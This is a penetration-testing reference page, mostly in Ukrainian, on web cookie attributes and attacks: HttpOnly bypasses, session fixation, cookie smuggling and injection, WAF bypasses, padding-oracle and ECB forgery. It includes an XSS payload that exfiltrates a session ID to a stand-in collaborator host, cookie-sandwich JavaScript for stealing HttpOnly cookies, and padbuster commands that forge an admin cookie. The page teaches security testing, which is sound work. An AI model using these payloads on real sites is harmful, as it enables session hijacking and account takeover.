Cookies Hacking
{{#include ../../banners/hacktricks-training.md}}
Атрибути Cookie
Cookies мають декілька атрибутів, які контролюють їх поведінку в браузері користувача. Нижче наведено огляд цих атрибутів у більш пасивному стилі:
Expires and Max-Age
Дата завершення дії cookie визначається атрибутом Expires. Натомість атрибут Max-age задає час у секундах до видалення cookie. Віддавайте перевагу Max-age, оскільки це відповідає сучаснішим практикам.
Domain
Хости, які отримують cookie, задаються атрибутом Domain. За замовчуванням він встановлюється на хост, що видав cookie, без включення його піддоменів. Проте при явному вказанні атрибуту Domain він охоплює також піддомени. Це робить вказівку Domain менш обмежувальною опцією, корисною у випадках, коли потрібно спільне використання cookie між піддоменами. Наприклад, встановлення Domain=mozilla.org робить cookie доступними на піддоменах, таких як developer.mozilla.org.
Path
Атрибут Path вказує конкретний шлях URL, який має бути присутнім у запитуваному URL, щоб заголовок Cookie був відправлений. Цей атрибут трактує символ / як роздільник каталогів, дозволяючи збіги також у підкаталогах.
Ordering Rules
Якщо два cookie мають однакове ім'я, для відправлення обирається той, що:
- cookie, що відповідає найдовшому шляху в запитуваному URL.
- останній встановлений cookie, якщо шляхи ідентичні.
SameSite
- Атрибут
SameSiteвизначає, чи будуть cookie відправлятися в запитах, що походять із доменів третьої сторони. Він має три значення: - Strict: Обмежує відправку cookie в запитах третьої сторони.
- Lax: Дозволяє відправляти cookie з GET-запитами, ініційованими сайтами третьої сторони.
- None: Дозволяє відправляти cookie з будь-якого домену третьої сторони.
Пам'ятайте, що при налаштуванні cookie розуміння цих атрибутів допоможе забезпечити їх очікувану поведінку в різних сценаріях.
| Request Type | Example Code | Cookies Sent When |
|---|---|---|
| Link | <a href="..."></a> | NotSet*, Lax, None |
| Prerender | <link rel="prerender" href=".."/> | NotSet*, Lax, None |
| Form GET | <form method="GET" action="..."> | NotSet*, Lax, None |
| Form POST | <form method="POST" action="..."> | NotSet*, None |
| iframe | <iframe src="..."></iframe> | NotSet*, None |
| AJAX | $.get("...") | NotSet*, None |
| Image | <img src="..."> | NetSet*, None |
Table from Invicti and slightly modified.
A cookie with SameSite attribute will mitigate CSRF attacks where a logged session is needed.
*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite attribute will be lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Notice that temporary, after applying this change, the cookies without a SameSite policy in Chrome will be treated as None during the first 2 minutes and then as Lax for top-level cross-site POST request.
Флаги Cookie
HttpOnly
Це забороняє клієнту отримувати доступ до cookie (наприклад через Javascript: document.cookie)
Обходи
- Якщо сторінка відправляє cookie в тілі відповіді на запит (наприклад, на сторінці PHPinfo), можна використати XSS для відправки запиту на цю сторінку та вкрасти cookie з відповіді (перегляньте приклад на https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
- Це можна обійти за допомогою TRACE HTTP-запитів, оскільки відповідь сервера (якщо цей HTTP-метод доступний) відобразить відправлені cookie. Ця техніка називається Cross-Site Tracking.
- Сучасні браузери уникають цієї техніки, забороняючи відправку TRACE-запитів з JS. Проте для конкретного ПЗ знайдені обхідні шляхи, наприклад відправка
\r\nTRACEзамістьTRACEдо IE6.0 SP2. - Інший спосіб — експлуатація zero/day вразливостей браузерів.
- Можна перезаписати HttpOnly cookies, виконавши атаку Cookie Jar overflow:
{{#ref}} cookie-jar-overflow.md {{#endref}}
- Можна скористатися атакою Cookie Smuggling для ексфільтрації цих cookie
- Якщо будь-який серверний endpoint відображає raw session ID у HTTP-відповіді (наприклад у HTML-коментарях або блоці налагодження), ви можете обійти HttpOnly, використавши XSS gadget для отримання цього endpoint, застосувати regex до секрету та ексфільтрувати його. Приклад XSS payload pattern:
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
Secure
Браузер відправляє cookie в HTTP-запиті лише якщо запит передається через захищений канал (зазвичай HTTPS).
Cookies Prefixes
Cookies prefixed with __Secure- are required to be set alongside the secure flag from pages that are secured by HTTPS.
For cookies prefixed with __Host-, several conditions must be met:
- They must be set with the
secureflag. - They must originate from a page secured by HTTPS.
- They are forbidden from specifying a domain, preventing their transmission to subdomains.
- The path for these cookies must be set to
/.
It is important to note that cookies prefixed with __Host- are not allowed to be sent to superdomains or subdomains. This restriction aids in isolating application cookies. Thus, employing the __Host- prefix for all application cookies can be considered a good practice for enhancing security and isolation.
Overwriting cookies
Отже, одне з обмежень __Host- префіксованих cookies — запобігання їх перезапису з піддоменів. Це, наприклад, перешкоджає Cookie Tossing attacks. У доповіді Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) показано, що було можливо встановити __HOST- префіксовані cookies з піддомену, обманувши парсер — наприклад, додаючи "=" на початку або на початку і в кінці...:

Або в PHP було можливо додати інші символи на початку імені cookie, які потім замінювалися на підкреслення, що дозволяло перезаписувати __HOST- cookies:

Cookies Attacks
Якщо кастомний cookie містить конфіденційні дані, перевірте його (особливо якщо ви берете участь у CTF), оскільки він може бути вразливим.
Decoding and Manipulating Cookies
Конфіденційні дані, вбудовані в cookies, слід завжди ретельно перевіряти. Cookies, закодовані в Base64 або подібних форматах, часто можна декодувати. Ця вразливість дозволяє зловмисникам змінювати вміст cookie та видавати себе за інших користувачів, повторно кодувавши змінені дані назад у cookie.
Session Hijacking
Ця атака полягає у викраденні cookie користувача для отримання неавторизованого доступу до його облікового запису в застосунку. Використовуючи вкрадений cookie, зловмисник може видавати себе за легітимного користувача.
Session Fixation
У цьому сценарії зловмисник обманює жертву, щоб вона використовувала певний cookie для входу. Якщо застосунок не видає новий cookie після логіну, зловмисник, який володіє початковим cookie, може видавати себе за жертву. Ця техніка спирається на те, що жертва заходить у систему з cookie, який надав зловмисник.
If you found an XSS in a subdomain or you control a subdomain, read:
{{#ref}} cookie-tossing.md {{#endref}}
Session Donation
Тут зловмисник переконує жертву використовувати сесію (cookie) зловмисника. Жертва, вважаючи, що вона увійшла у власний обліковий запис, ненавмисно виконуватиме дії в контексті облікового запису зловмисника.
If you found an XSS in a subdomain or you control a subdomain, read:
{{#ref}} cookie-tossing.md {{#endref}}
JWT Cookies
Click on the previous link to access a page explaining possible flaws in JWT.
JSON Web Tokens (JWT) used in cookies can also present vulnerabilities. For in-depth information on potential flaws and how to exploit them, accessing the linked document on hacking JWT is recommended.
Cross-Site Request Forgery (CSRF)
Ця атака змушує автентифікованого користувача виконувати небажані дії в веб-застосунку, в якому він наразі автентифікований. Зловмисники можуть експлуатувати cookies, які автоматично надсилаються з кожним запитом на вразливий сайт.
Empty Cookies
(Check further details in theoriginal research) Браузери дозволяють створювати cookies без імені, що можна продемонструвати за допомогою JavaScript наступним чином:
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"
Результат у заголовку cookie, що надсилається, — a=v1; test value; b=v2;. Цікавим чином це дозволяє маніпулювати cookie, якщо встановлено cookie з порожньою назвою, що потенційно дозволяє контролювати інші cookie шляхом встановлення порожнього cookie на конкретне значення:
function setCookie(name, value) {
document.cookie = `${name}=${value}`
}
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
Це призводить до того, що браузер надсилає заголовок cookie, який інтерпретується кожним веб‑сервером як cookie з ім'ям a і значенням b.
Chrome Bug: Проблема з Unicode Surrogate Codepoint
У Chrome, якщо Unicode surrogate codepoint є частиною set cookie, document.cookie стає пошкодженим і надалі повертає порожній рядок:
document.cookie = "\ud800=meep"
Внаслідок цього document.cookie повертає порожній рядок, що вказує на постійне пошкодження.
Cookie Smuggling через проблеми з парсингом
(Перегляньте додаткові деталі в original research) Кілька веб‑серверів, зокрема реалізації для Java (Jetty, TomCat, Undertow) та Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), неправильно обробляють рядки cookie через застарілу підтримку RFC2965. Вони читають значення cookie в подвійних лапках як одне значення, навіть якщо воно містить символи ';', які зазвичай повинні розділяти пари ключ-значення:
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
Вразливості Cookie Injection
(Деталі — у оригінальному дослідженні) Невірне розборення cookie серверами, зокрема Undertow, Zope та тими, що використовують Python's http.cookie.SimpleCookie і http.cookie.BaseCookie, створює можливості для cookie injection attacks. Ці сервери не відокремлюють належним чином початок нових cookie, що дозволяє зловмисникам підробляти cookie:
- Undertow очікує новий cookie одразу після значення в лапках без крапки з комою.
- Zope шукає кому, щоб почати розбір наступного cookie.
- Python's cookie classes починають розбір із пробільного символу.
Ця вразливість особливо небезпечна для веб‑додатків, що покладаються на cookie‑базований захист від CSRF, оскільки вона дозволяє зловмисникам інжектувати підроблені CSRF-token cookie, потенційно обходячи заходи безпеки. Проблема посилюється тим, як Python обробляє дублікати імен cookie — останній екземпляр перекриває попередні. Це також викликає занепокоєння щодо __Secure- і __Host- cookie в ненадійних контекстах і може призвести до обходу авторизації, коли cookie передаються на back-end сервери, вразливі до підробки.
Cookies $version
WAF Bypass
Згідно з цією публікацією в блозі, можливо використати атрибут cookie $Version=1, щоб змусити бекенд застосувати стару логіку розбору cookie через RFC2109. Крім того, інші атрибути, такі як $Domain і $Path, можна використати для модифікації поведінки бекенду щодо cookie.
Cookie Sandwich Attack
Згідно з цією публікацією в блозі, можна застосувати cookie sandwich technique для викрадення HttpOnly cookie. Нижче — вимоги та кроки:
- Знайти місце, де, здавалося б, непотрібний cookie відображається у відповіді
- Створити cookie з ім'ям
$Versionзі значенням1(це можна зробити в XSS-атаці з JS) з більш специфічним path, щоб він отримав початкову позицію (деякі фреймворки, як python, не потребують цього кроку) - Створити cookie, що відображається, зі значенням, яке залишає відкриту подвійну лапку, і з конкретним path, щоб він опинився в базі cookie після попереднього (
$Version) - Тоді легітимний cookie піде наступним у порядку
- Створити підставний cookie, який закриває подвійні лапки у своєму значенні
Таким чином жертвинський cookie опиняється захопленим всередині нового cookie версії 1 і буде відображатися щоразу, коли його відображують. Наприклад, із посту:
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;
WAF bypasses
Cookies $version
Перевірте попередній розділ.
Bypassing value analysis with quoted-string encoding
Цей парсинг вказує на необхідність unescape-ити екрановані значення всередині cookies, тому "\a" стає "a". Це може бути корисно для обходу WAFS, наприклад:
eval('test') => forbidden"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed
Bypassing cookie-name blocklists
У RFC2109 зазначено, що кома може використовуватися як роздільник між значеннями cookie. Також можливо додавати пробіли та табуляцію до і після знака рівності. Отже cookie типу $Version=1; foo=bar, abc = qux не породжує cookie "foo":"bar, admin = qux", а породжує cookie "foo":"bar" та "admin":"qux". Зверніть увагу, як утворюються 2 cookie і як у admin видалено пробіли до і після знака рівності.
Bypassing value analysis with cookie splitting
Нарешті, різні backdoors могли б об'єднати в один рядок різні cookie, передані в різних cookie headers, як у прикладі:
GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;
Що могло б дозволити bypass a WAF, як у цьому прикладі:
Cookie: name=eval('test//
Cookie: comment')
Resulting cookie: name=eval('test//, comment') => allowed
Додаткові перевірки вразливих cookie
Основні перевірки
- cookie є однаковим щоразу при login.
- Вийдіть з облікового запису і спробуйте використати той самий cookie.
- Спробуйте log in з 2 пристроїв (або браузерів) до того самого account, використовуючи той самий cookie.
- Перевірте, чи cookie містить яку-небудь інформацію та спробуйте її змінити
- Спробуйте створити кілька accounts з майже однаковими username і перевірте, чи видно схожості.
- Перевірте опцію "remember me" (якщо є), щоб зрозуміти, як вона працює. Якщо вона є й може бути вразливою, завжди використовуйте cookie від remember me без жодних інших cookie.
- Перевірте, чи попередній cookie працює навіть після зміни пароля.
Розширені атаки на cookies
Якщо cookie залишається тим самим (або майже) при log in, це, ймовірно, означає, що cookie пов’язаний з якимось полем вашого account (імовірно — username). Тоді ви можете:
- Спробуйте створити велику кількість accounts з дуже схожими username і спробуйте вгадати, як працює алгоритм.
- Спробуйте bruteforce the username. Якщо cookie використовується лише як метод автентифікації для вашого username, тоді ви можете створити account з username "Bmin" і bruteforce кожен окремий bit cookie, оскільки один із cookie, які ви спробуєте, буде належати "admin".
- Спробуйте Padding Oracle (ви можете дешифрувати вміст cookie). Використайте padbuster.
Padding Oracle - Padbuster приклади
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf
# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
Padbuster зробить кілька спроб і запитає вас, яка умова є умовою помилки (та, що не є дійсною).
Потім він почне decrypting the cookie (це може зайняти кілька хвилин)
Якщо атаку успішно виконано, ви можете спробувати encrypt рядок на свій вибір. Наприклад, якщо ви хочете encrypt user=administrator
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
This execution will give you the cookie correctly encrypted and encoded with the string user=administrator inside.
CBC-MAC
Можливо cookie може мати деяке значення і бути підписане з використанням CBC. Тоді цілісність значення — це підпис, створений за допомогою CBC над тим же значенням. Оскільки рекомендовано використовувати як IV нульовий вектор, цей тип перевірки цілісності може бути вразливим.
Атака
- Отримати підпис для username administ = t
- Отримати підпис для username rator\x00\x00\x00 XOR t = t'
- Встановити в cookie значення administrator+t' (t' буде дійсним підписом для (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00
ECB
Якщо cookie зашифровано з використанням ECB воно може бути вразливим.
Коли ви входите, cookie, який ви отримуєте, має завжди бути однаковим.
How to detect and attack:
-
Створіть 2 користувачів з майже однаковими даними (username, password, email, etc.) і спробуйте виявити якийсь патерн у отриманому cookie
-
Створіть користувача, наприклад "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" і перевірте, чи є якийсь патерн у cookie (оскільки ECB шифрує з тим же ключем кожен блок, ті самі зашифровані байти можуть з'являтися, якщо username шифрується).
-
Повинна бути повторювана послідовність (розміром як блок шифру). Отже, знаючи, як шифрується рядок з "a", ви можете створити username: "a"*(size of the block)+"admin". Потім ви можете видалити зашифрований блок, що відповідає блоку "a", з cookie. І у вас буде cookie для username "admin".
References
- https://blog.ankursundara.com/cookie-bugs/
- https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd
- https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie
- https://seclists.org/webappsec/2006/q2/181
- https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
{{#include ../../banners/hacktricks-training.md}}